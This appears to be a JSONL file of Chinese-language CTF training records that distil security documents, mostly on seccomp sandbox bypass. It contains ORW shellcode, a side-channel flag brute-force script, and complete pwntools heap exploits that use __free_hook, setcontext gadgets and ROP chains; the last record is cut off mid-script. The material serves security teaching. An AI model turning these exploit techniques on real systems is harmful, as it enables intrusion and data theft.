"heading": "利用思路", "heading_path": ["Padding Oracle Attack", "2017 HITCON Secret Server Revenge", "利用思路"], "original_id": "docs-4d4a739cef658f561703", "original_line": 343, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "source_root": "docs", "source_sha256": "fb6fc7debd8aad3192ba0bd4d4358db49797dce32d33424ec6924178ff669f36", "split": "train", "split_group_key": "17ac0ba978549fecac0826c7", "subcategory": "crypto/blockcipher/mode", "terms": ["ROP/JOP", "密码学", "AI安全", "漏洞利用", "crypto", "blockcipher", "mode", "padding-oracle-attack.md"], "title": "Padding Oracle Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-ffd7ee8bdb69b8182235", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/lattice/cvp.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/lattice/cvp.md`\n标题：CVP\n章节：CVP > 参考\n路径分类：crypto / crypto/asymmetric/lattice\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- Lecture 3 - CVP algorithm Wikipedia [Playing “Hide-and-Seek” in Finite Fields: Hidden Number Problem and Its Applications](http://www.isg.rhul.ac.uk/~sdg/igor-slides.pdf) https://www.math.auckland.ac.nz/~sgal018/crypto-book/ch18.pdf\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- lattice\n- cvp.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 359, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "参考", "heading_path": ["CVP", "参考"], "original_id": "docs-da5e05f5b178bab8cab2", "original_line": 223, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/cvp.md", "source_root": "docs", "source_sha256": "ce4bff91d9553736187e65ddf810cb8485ac4e64a6943532de00afbef377f37d", "split": "train", "split_group_key": "db45ae3fce9fde906718b462", "subcategory": "crypto/asymmetric/lattice", "terms": ["密码学", "crypto", "asymmetric", "lattice", "cvp.md"], "title": "CVP"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/cvp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-00df012dad04c7579c85", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「ORW」。\n资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### ORW\n\n当沙箱禁用`execve`系统调用时，可以通过`open`/`read`/`write`等系统调用组合来读取 flag。\n\n- orw shellcode 示例：\n\n```python\nshellcode = asm(\"\"\"\n    push 0x67616c66\n    mov rdi, rsp\n    xor esi, esi\n    push 2\n    pop rax\n    syscall\n    mov rdi, rax\n    mov rsi, rsp\n    mov edx, 0x100\n    xor eax, eax\n    syscall\n    mov edi, 1\n    mov rsi, rsp\n    push 1\n    pop rax\n    syscall\n\"\"\")\n```\n\n当`open`被禁用时，可以使用`openat`代替：\n```python\nshellcode = asm('''\n    mov rax, 0x67616c662f2e\n    push rax\n    mov rdi, -100\n    mov rsi, rsp\n    mov rdx, 0\n    mov rax, 257\n    syscall\n    mov rdi, rax\n    mov rsi, rsp\n    mov rdx, 1024\n    mov rax, 0\n    syscall\n    mov rdi, 1\n    mov rsi, rsp\n    mov rdx, rax\n    mov rax, 1\n    syscall\n''')\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 28, "ctf_task_type": "crypto", "original_id": "pwn101-doc-a9d830a34d202d5c", "original_line": 515, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "split_group_key": "8394a18f47b59852452fe24f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-011a34a5dbf5874ec29a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「使用32位shellcode」。\n资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 使用32位shellcode\n\n利用 x86 架构下 CS 段寄存器切换模式，以及 64 位和 32 位系统调用号不同的特性：\n- 缺乏对当前架构的判断\n- 64 位下的某些调用号与 32 位下的open相同\n\n示例沙箱规则（缺少架构判断）：\n```\n0000: 0x20 0x00 0x00 0x00000000  A = sys_number\n0001: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0003\n0002: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0009\n0003: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0008\n0004: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0008\n...\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 26, "ctf_task_type": "crypto", "original_id": "pwn101-doc-7045bfb1ce039d95", "original_line": 512, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "split_group_key": "8394a18f47b59852452fe24f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-1c5d0549618e13618d62", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「使用seccomp库创建沙箱」。\n资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 使用seccomp库创建沙箱\n\n首先安装 libseccomp-dev：\n```bash\nsudo apt-get install libseccomp-dev\n```\n\n示例代码：\n\n```c\n#include \n#include \n\nint main() {\n    scmp_filter_ctx ctx;\n    ctx = seccomp_init(SCMP_ACT_ALLOW);\n\n    seccomp_arch_add(ctx, SCMP_ARCH_X86_64);\n    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);\n    seccomp_load(ctx);\n\n    char *args[] = {\"/bin/bash\", \"-i\", NULL};\n    execve(args[0], args, NULL);\n\n    return 0;\n}\n```\n\n`seccomp_rule_add`函数参数说明：\n- `ctx`：过滤器上下文\n- `action`：匹配时的操作（SCMP_ACT_ALLOW允许、SCMP_ACT_KILL杀死进程、SCMP_ACT_ERRNO返回错误码）\n- `syscall`：要限制的系统调用号\n- `arg_cnt`：要匹配的参数数量\n- `...`：可变参数，指定参数匹配条件", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 26, "ctf_task_type": "crypto", "original_id": "pwn101-doc-2649b321666bd2ba", "original_line": 509, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "split_group_key": "8394a18f47b59852452fe24f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-204305906be118e6b103", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「基本概念」。\n资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 基本概念\n\nSeccomp 是 Linux kernel 从 2.6.23 版本开始引入的一种简洁的沙箱机制。在 Linux 系统里，大量的系统调用直接暴露给用户态程序。但是，并不是所有的系统调用都被需要，而且不安全的代码滥用系统调用会对系统造成安全威胁。Seccomp 安全机制能使一个进程进入到一种 \"安全\" 运行模式，该模式下的进程只能调用有限的系统调用。\n\n在进程的`/proc/${pid}/status`文件中的 Seccomp 字段可以看到进程的 Seccomp 状态：\n\n```\n❯ cat /proc/2131/status\n\n......\n\nSeccomp:        2\nSeccomp_filters:        1\nSpeculation_Store_Bypass:       thread vulnerable\nSpeculationIndirectBranch:      conditional enabled\nCpus_allowed:   ff\nCpus_allowed_list:      0-7\nMems_allowed:   00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001\nMems_allowed_list:      0\nvoluntary_ctxt_switches:        1137\nnonvoluntary_ctxt_switches:     0\n```\n\n- 0：尚未启动；\n- 1：启用严格模式；\n- 2：启用过滤模式；", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 26, "ctf_task_type": "crypto", "original_id": "pwn101-doc-01018b9c7077e2e3", "original_line": 508, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "split_group_key": "8394a18f47b59852452fe24f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-2353a0c0de3a2fec87a7", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「新版本setcontext」。\n资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 新版本setcontext\n\n从 libc-2.29 版本起，setcontext 改用 rdx 寄存器来访问 SigreturnFrame 结构，因此无法直接利用 setcontext 的 gadget 将 free 的 SigreturnFrame 结构赋值给寄存器。\n\n不过可以先泄露堆地址，然后通过下面两条 gadget 中的一条将释放的 chunk 的内存地址赋值给 rdx 然后跳转到 setcontext 的 gadget 。\n\n```plain\nmov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;\nmov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];\n```\n\n+ exp模板\n\n```python\n#!/bin/python3\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\np = process([elf.path])\n\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\n\nadd_chunk(0, 0x500)\nadd_chunk(1, 0x18)\n\ndelete_chunk(0)\nshow_chunk(0)\nlibc.address = u64(p.recvuntil(b'\\x7F')[-6:].ljust(8, b'\\x00')) - 0x3afca0\ninfo(\"libc base: \" + hex(libc.address))\n\nadd_chunk(0, 0x400)\ndelete_chunk(0)\nedit_chunk(0, p64(libc.sym['__free_hook']))\nadd_chunk(1, 0x400)\nadd_chunk(0, 0x400)\n\nbuf_addr = libc.sym['__free_hook'] + 0x100\n\npayload = b''\npayload += p64(libc.sym['setcontext'] + 53)\npayload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))\npayload += p64(3)\npayload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))\npayload += p64(buf_addr)\npayload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))\npayload += p64(0x100)\npayload += p64(libc.sym['read'])\npayload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))\npayload += p64(buf_addr)\npayload += p64(libc.sym['puts'])\npayload = payload.ljust(0x100, b'\\x00')\npayload += b\"./flag\\x00\"\n\nedit_chunk(0, payload)\n\nframe = SigreturnFrame()\nframe.rsp = libc.sym['__free_hook'] + 8\nframe.rdi = buf_addr\nframe.rsi = 0\nframe.rip = libc.sym['open']\n\nedit_chunk(1, str(frame))\n\ndelete_chunk(1)\n\np.interactive()\n```\n\n除了 setcontext 外还有另一个 gedget 可以同时完成程序执行流劫持和栈迁移：\n\n```plain\n`:    mov    rbp,QWORD PTR [rdi``+``0x48``]`\n`:    mov    rax,QWORD PTR [rbp``+``0x18``]`\n`:    lea    r12,[rbp``+``0x10``]`\n`:    mov    DWORD PTR [rbp``+``0x10``],``0x0`\n`:    mov    rdi,r12`\n`:    call   QWORD PTR [rax``+``0x28``]`\n```\n\n这个 gadget 在不同的 libc 中使用的寄存器不同，具体视情况而定。比如有的 libc 使用的是 rbx 而不是 rbp 导致无法栈迁移实现对程序执行流程的连续劫持。\n\n利用这个gadget，通过`rdi`控制`rbp`进而控制`rax`并执行跳转,只需要在`rax + 0x28`的位置设置`leave; ret`即可完成栈迁移.\n\n[图片: image]\n\n\n+ exp\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\n\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\np = process([elf.path])\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x500)\nadd_chunk(1, 0x18)\n\ndelete_chunk(0)\nshow_chunk(0)\n\nlibc.address = u64(p.recvuntil('\\x7F')[-6:].ljust(8, '\\x00')) - 0x3b6be0\ninfo(\"libc base: \" + hex(libc.address))\n\nadd_chunk(1, 0x400)\nadd_chunk(0, 0x400)\n\ndelete_chunk(1)\ndelete_chunk(0)\n\nedit_chunk(0, p64(libc.sym['__free_hook']))\n\nadd_chunk(1, 0x400)\nadd_chunk(0, 0x400)\n\npayload_addr = libc.sym['__free_hook']\nbuf_addr = payload_addr + 0x100\nrax_addr = payload_addr + 0xb0\n\npayload = b''\n\npayload += p64(libc.sym['svcudp_reply'] + 22)\npayload += p64(next(libc.search(asm('pop r14; pop r15; ret;'), executable=True)))\npayload += b'a' * 8\npayload += p64(rax_addr)\n\npayload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))\npayload += p64(buf_addr)\n\npayload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))\npayload += p64(0)\n\npayload += p64(libc.sym['open'])\n\npayload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))\npayload += p64(3)\n\npayload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))\npayload += p64(buf_addr)\n\npayload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))\npayload += p64(0x100)\n\npayload += p64(libc.sym['read'])\n\npayload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))\npayload += p64(buf_addr)\n\npayload += p64(libc.sym['puts'])\n\nassert len(payload) <= rax_addr - payload_addr\n\npayload = payload.ljust(rax_addr - payload_addr, b'\\x00')\npayload += b'b' * 0x28\npayload += p64(next(libc.search(asm('leave; ret;'), executable=True)))\n\npayload = payload.ljust(0x100, b'\\x00')\npayload += b\"./flag\\x00\"\n\nedit_chunk(0, payload)\n\nedit_chunk(1, b'c' * 0x48 + p64(libc.sym['__free_hook']))\n\ngdb.attach(p, \"b __libc_free\\nc\")\npause()\n\ndelete_chunk(1)\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 30, "ctf_task_type": "crypto", "original_id": "pwn101-doc-d260ce7d7fed8f07", "original_line": 517, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "split_group_key": "8394a18f47b59852452fe24f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-5bdaa4dce5a27bb75be2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「ptrace绕过seccomp」。\n资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### ptrace绕过seccomp\n\n（注：ptrace绕过是一种高级技术，可以通过ptrace附加到进程并修改其seccomp过滤规则。具体实现较为复杂，通常需要深入理解ptrace机制和seccomp的内部工作原理。）\n\n基本思路：\n1. 使用ptrace附加到目标进程\n2. 修改进程的seccomp过滤规则或绕过检查\n3. 恢复执行并实现系统调用\n\n这种方法需要较高的权限，且在不同内核版本上表现可能不同。", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 26, "ctf_task_type": "crypto", "original_id": "pwn101-doc-b7a51433bfb3e669", "original_line": 516, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "split_group_key": "8394a18f47b59852452fe24f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-630a49644a639cf914d9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「侧信道攻击」。\n资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 侧信道攻击\n\n当所有输出相关的系统调用被禁用时，可以通过逐字节比较来爆破flag：\n\n```python\ndef check(i, c):\n    p = process([elf.path])\n    p.send(payload)\n    sleep(1)\n\n    shellcode = asm(\"\"\"\n        push 0x67616c66\n        mov rdi, rsp\n        xor esi, esi\n        push 2\n        pop rax\n        syscall\n        mov rdi, rax\n        mov rsi, rsp\n        mov edx, 0x100\n        xor eax, eax\n        syscall\n        mov dl, [rsp + {}]\n        cmp dl, {}\n        jbe $\n    \"\"\".format(i, c))\n\n    p.send(shellcode)\n    try:\n        p.recv(timeout=1)\n        p.kill()\n        return True\n    except:\n        p.close()\n        return False\n```\n\n判断进程退出的技巧：使用`p.recv(timeout=1)`，进程结束会触发异常，未结束但无输出则返回空字符串。", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 30, "ctf_task_type": "crypto", "original_id": "pwn101-doc-0d07199bd2ebba42", "original_line": 51, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "split_group_key": "8394a18f47b59852452fe24f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-74281b5ca8195f29f4ed", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「使用 prctl 创建沙箱」。\n资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 使用 prctl 创建沙箱\n\n`PR_SET_SECCOMP`是 Linux 内核提供的一种机制，用于限制进程可以执行的系统调用。`PR_SET_SECCOMP`机制可以通过使用`prctl()`系统调用来设置。\n\n我们可以借助工具`seccomp-tools`来编写沙箱规则。\n\n首先编写沙箱规则，保存在文件`rule`中：\n\n```\nA = arch\nA == ARCH_X86_64 ? next : kill\nA = sys_number\nA >= 0x40000000 ? kill : next\nA == execve ? kill : allow\nallow:\nreturn ALLOW\nkill:\nreturn KILL\n```\n\n运行命令将沙箱规则转换为可被`PR_SET_SECCOMP`识别的规则：\n\n```bash\nseccomp-tools asm rule -a amd64 -f raw | seccomp-tools disasm -\n```\n\n将生成的规则应用到 C 程序中：\n\n```c\n#include \n#include \n#include \n#include \n#include \n\nint main() {\n    struct sock_filter filter[] = {\n        {0x20, 0x00, 0x00, 0x00000004},\n        {0x15, 0x00, 0x04, 0xc000003e},\n        {0x20, 0x00, 0x00, 0x00000000},\n        {0x35, 0x02, 0x00, 0x40000000},\n        {0x15, 0x01, 0x00, 0x0000003b},\n        {0x06, 0x00, 0x00, 0x7fff0000},\n        {0x06, 0x00, 0x00, 0x00000000}\n    };\n    struct sock_fprog prog = {\n        .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),\n        .filter = filter,\n    };\n\n    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {\n        perror(\"prctl error.\");\n        return 1;\n    }\n\n    char *args[] = {\"/bin/bash\", \"-i\", NULL};\n    execve(args[0], args, NULL);\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 26, "ctf_task_type": "crypto", "original_id": "pwn101-doc-6028c4381ff15df8", "original_line": 510, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "split_group_key": "8394a18f47b59852452fe24f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-85e32c88e0ea9f841d5b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「setcontext gadget」。\n资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### setcontext gadget\n\n`setcontext`函数是 libc 中一个独特的函数，它的功能是传入一个`SigreturnFrame`结构指针，然后根据 `SigreturnFrame`的内容设置各种寄存器。\n\n因此从 setcontext+53（不同 libc 偏移可能不同）的位置开始有如下 gadget，即根据`rdi`也就是第一个参数指向的 `SigreturnFrame`结构设置寄存器。\n\n```plain\n0x7f4b45a35a75      mov    rsp, qword ptr [rdi + 0xa0]\n0x7f4b45a35a7c      mov    rbx, qword ptr [rdi + 0x80]\n0x7f4b45a35a83      mov    rbp, qword ptr [rdi + 0x78]\n0x7f4b45a35a87      mov    r12, qword ptr [rdi + 0x48]\n0x7f4b45a35a8b      mov    r13, qword ptr [rdi + 0x50]\n0x7f4b45a35a8f      mov    r14, qword ptr [rdi + 0x58]\n0x7f4b45a35a93      mov    r15, qword ptr [rdi + 0x60]\n0x7f4b45a35a97      mov    rcx, qword ptr [rdi + 0xa8]\n0x7f4b45a35a9e      push   rcx\n0x7f4b45a35a9f      mov    rsi, qword ptr [rdi + 0x70]\n0x7f4b45a35aa3      mov    rdx, qword ptr [rdi + 0x88]\n0x7f4b45a35aaa     mov    rcx, qword ptr [rdi + 0x98]\n0x7f4b45a35ab1     mov    r8, qword ptr [rdi + 0x28]\n0x7f4b45a35ab5     mov    r9, qword ptr [rdi + 0x30]\n0x7f4b45a35ab9     mov    rdi, qword ptr [rdi + 0x68]\n0x7f4b45a35abd     xor    eax, eax\n0x7f4b45a35abf     ret\n```\n\n\n因此只需要设置 rdi 为 SignatureFrame 结构体指针，然后跳转到 `setcontext + 53` 就可以将**除 rax 外**的寄存器设置成对应的值。\n\n例如 free hook 传入的参数是释放的内存的指针，因此可以通过将 free hook 写入 setcontext gadget 然后 free 一个存储 SigreturnFrame 结构的内存来设置寄存器，继而控制程序执行流程来执行 shellcode 或进一步 rop 。", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 26, "ctf_task_type": "crypto", "original_id": "pwn101-doc-69310e7e1b47a225", "original_line": 511, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "split_group_key": "8394a18f47b59852452fe24f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-bdf93c645a32174652a9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「setcontext + shellcode」。\n资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### setcontext + shellcode\n\n对于开了沙箱保护的堆题，由于不能 execve ，需要 orw 的手段来获取 flag 。\n\n首先在泄露 libc 基地址后在在 __free_hook 处申请堆块并写入如下数据：\n\n[图片: image]\n\n之后释放一个 SigreturnFrame，寄存器设置如下图所示。程序通过 setcontext gadget 设置寄存器后将完成栈迁移可程序执行流劫持后程序将执行，此时会调用 mprotect 函数将 __free_hook 所在内存页添加可执行属性并且会将栈迁移至 &__free_hook+0x8 的位置。执行完 mprotect 函数后程序将跳转至 shellcode1 执行。shellcode 会向 __free_hook 所在内存页起始位置读入能 orw 的 shellcode2 并跳转至 shellcode 执行获取 flag 。\n\n[图片: image]\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\n\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\np = process([elf.path])\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    